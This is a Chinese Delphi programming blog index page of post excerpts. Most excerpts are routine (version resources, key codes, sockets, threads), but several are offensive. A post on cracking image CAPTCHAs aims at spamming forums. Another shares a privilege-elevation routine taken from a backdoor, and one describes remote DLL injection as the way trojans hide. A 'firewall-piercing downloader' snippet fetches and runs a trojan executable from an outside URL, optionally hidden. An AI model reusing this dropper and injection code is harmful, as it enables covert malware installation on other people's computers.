导航

心动吧DELPHI网络书

自发研究:须要多维思想而且要想不可能为可能的人才能做到

[置顶] {下载}本站提供delphi下载

  下载的时候最好不要用迅雷,要不然很容易断线.

  提供多个控件下载:

破解图片验证码限制的一般思路

 相信大家都有在论坛灌水的经历吧?但是如果你连续发表统一内容的东西在论坛中,不久论坛的整个板块就全是你发表的信息了,其他信息全被挤在了后面。假设你发表的信息够多,版主都删不完时,那么这个论坛基本就报废了!其他的商业论坛也意识到了防止恶意灌水的重要性,纷纷使用了一些防止恶意灌水的措施,有发贴间隔时间的限制、同一IP地址的发贴数限制、内容不能重复等,但是这些都不是今天的重点,由于论坛使用的是一个公用发贴表单,需要突破唯一的难点是验证码。(为了防止某个黑客对某一个特定注册用户用特定程序暴力破解方式进行不断的登陆尝试或是防止不断提交某网络信息而采用的一种网络通行方式。随机生成字符信息放入图片中,防止计算机直接识别。比如招商银行的网上个人银行,腾讯的QQ社区等等)

...

网络函数大公开

声明:本文摘自CSDN论坛上网友zsy_good的原作,经过了tomm的一些整理修改.



{=========================================================================

   功  能: 网络函数库

   时  间: 2002/10/02

   版  本: 1.0

...

DELPHI 给DLL 添加版本信息

如何给自己的dll文件添加版本信息呢?

首先建立一个文件后缀为.rc(以ver.rc为例),用记事本打开,拷贝下面内容:

("//"号为注释,会被编译器丢弃,这里只是为了说明才加上的。)



VS_VERSION_INFO VERSIONINFO //版本信息结构

FILEVERSION 1,0,0,1     //顾名思义文件版本,就是在属性页版本上面显示的|

PRODUCTVERSION 1,0,0,1 //顾名思义产品版本                             |这里是主版本信息

FILEFLAGSMASK 0x3fL     //这里设为0x3fL就好了                          |

#ifdef _DEBUG

FILEFLAGS 0x1L          //VS_FF_DEBUG包括debug信息

#else

FILEFLAGS 0x0L          //无

#endif

FILEOS 0x4L             //对应于delphi中VOS__WINDOWS32,说明程

DELPHI 中如何提升进程令牌

近一段时间在用DELPHI写个程序,当我写到一个结束其他进程的模块的时候有时不成功,那是因为其他进程,如病毒进程的权限高,通过常规的结束进程的函数行不通,要首先提高自身程序的权限,再结束其他进程

在网上也看到了一些提升进程令牌的函数但都不怎么好用,最后我还是从一个黑客后门程序的源代码中提取出了一个好的提升进程令牌的函数,不敢独享,跟大家分享下

 

头部请加入:Tlhelp32

//提升进程权限为DEBUG权限

DELPHI 远程注入DLL的例子

远程注入DLL方法有很多种,也是很多木马病毒所使用的隐藏进程的方法,

因为通过程序加载的DLL在进程管理器是没有显示的.这里介绍一种用 CreateRemoteThread 远程建立线程的方式注入DLL.



首先,我们要提升自己的权限,因为远程注入必不可免的要访问到目标进程的内存空间,

如果没有足够的系统权限,将无法作任何事.下面是这个函数是用来提升我们想要的权限用的.



function EnableDebugPriv: Boolean;

var

  hToken: THandle;

  tp: TTokenPrivileges;

打造无DLL版穿墙Downloader

这份代码的思路来自于国外EES组织的Aphex。基本上所有的无DLL Download都是利用的这种方法。其实也就是用烂了的远程注入法。不过注入的对象不是一个DLL,而是本身的一个过程。下面是代码,由于本人专业知识不够,可能有些说法不太专业。请大家凑合着看。有不懂的请跟贴。

program InjectTheSelf;

{$IMAGEBASE $13140000}

uses Windows, Urlmon;

procedure Download; //下载过程

begin

URLDownloadToFile(nil, 'http://www.mycode.ful.cn/muma.exe', 'C:\muma.exe', 0, nil);

WinExec('C:\muma.exe', SW_SHOW); //SW_SHOW or SW_HIDE

end;

var

用Delphi实现文件下载的几种方法

 笔者最近开发的系统中需要写一个下载文件的功能。以前用BCB调用API写的很烦琐,忽然想起有一个API就可以搞定了,于是一大早就来搜索。这个API就是UrlDownloadToFile。不仅如此,Delphi的一些控件也可以轻松实现下载,如NMHTTP,指定NMHTTP1.InputFileMode := ture; 指定Body为本地文件名,指定Get就可以下载了。下面是详细代码,均出自CSDN。我把它们都整理到这儿,让大家方便查阅。

使用内存读取函数:ReadProcessMemory

使用内存读取函数:ReadProcessMemory

 

procedure TForm1.Button2Click(Sender: TObject);

var

      hProcess,iRead:Cardinal;

      hgl:HGLOBAL;

      Buffer:   Pointer;

begin

memo1.Text :='';   //清空memo1.text中内容

GetMem(Buffer,1024);   //申请内存空间1024字节用来存放字符串

//   我这里就使用自己进程来做演示了,如果是木马需要获取游戏进程的PID

GetMessage休眠后如何唤醒

while GetMessage(MsgRec, 0, 0, 0) do

begin

TranslateMessage(MsgRec);

DispatchMessage(MsgRec);

//Sleep(1000);

if abool=true then  Break;

end;



当我发送了消息队列的时候,发送完之后,线程会处于休眠状态,这时候该怎么样做才可以让线程重新唤醒或者结束他呢?



个人想法:

  在主窗中插入一个定时器,然后在定时器执行的代码中写入

  PostThreadMessage(ThreadId,WM_QUIT,0,0) //僵哥代码

  到一定的时候就执行一下上面的代码让他退出他



  而这时候的问题来了.

  PostThreadMessage当中的Threadid参数我如何获得,从上面的循环中我看中了一个msgrec我是否能够替换Treadid呢?替换成下面的

            PostThreadMessage(MsgRec,WM_QUIT,0,0)

      替换后,我发现WM_QUIT出现提示

            incompatible types: 'cardinal' and 'tagMsg'

    简单来说就是类型不一样无法替换...



问题1:我在主窗体内写这样的代码会不会有其他的问题存在?

问题2:应该怎么解决休眠问题和如何传递参数到主窗体的定时器中 

 

键盘鼠标对应码表-delphi键值

在操作API的时候很多时候需要用到我们键盘上的按键,这里是对照的

常数名称 十六进制值 十进制值 对应按键
VK_LBUTTON 01 1 鼠标的左键
VK_RBUTTON 02 2 鼠标的右键
VK-CANCEL   03 3 Ctrl+Break(通常不需要处理)
VK_MBUTTON 04 4 鼠标的中键(三按键鼠标)
VK_BACK 08 8 Backspace键
VK_TAB 09 9 Tab键
VK_CLEAR 0C 12 Clear键(Num Lock关闭时的数字键盘5)
VK_RETURN 0D 13 Enter键
VK_SHIFT 10 16 Shift键
VK_CONTROL 11 17 Ctrl键
VK_MENU 12 18 Alt键
VK_PAUSE 13 19 Pause键
VK_CAPITAL 14 20 Caps Lock键

 

      更多

 

利用ServerSocket和ClientSocket实现简单通讯

开始这前,在你的窗口中放入ServerSocket和ClientSocket控件。



ServerSocket的控件属性

threadcachsize:创建服务器线程的最大数目。

port:确定服务器的监视端口。

service:客户通过此属性来识别服务器端口。

ClientSocket的控件属性

Socket:此属性参数是应用程序之间通信的端点。

Address:此属性参数为字符串类型,客户端确定服务器端的IP地址。 Host:服务器端的主机名称。

Post:服务器端的监视端口。

Servce:用来识别服务器端口。

Active:确定Socket是否可用(true表示可用)。

ClientType:指定客户机采用哪一种方式(异步/同步)来通信。

ServerSocket的事件

 

为什么在线程中调用时间控件会不执行呢?

为什么在线程中调用时间控件会不执行呢?

执行过程  

procedure Tkk.Timer1Timer(Sender: TObject); 
begin
form1.memo1.lines.add('aa');
end;

开始执行

procedure Tkk.Execute; 
var
Time:TTimer;
begin
{ Place thread code here }
Time:=TTimer.Create(nil);

............

分页:[«]1[2][»]

日历

站内搜索

Copyright ⊙ 2004-2009 心动吧 UrL:ABCXD.CoM All RiGhts Reserved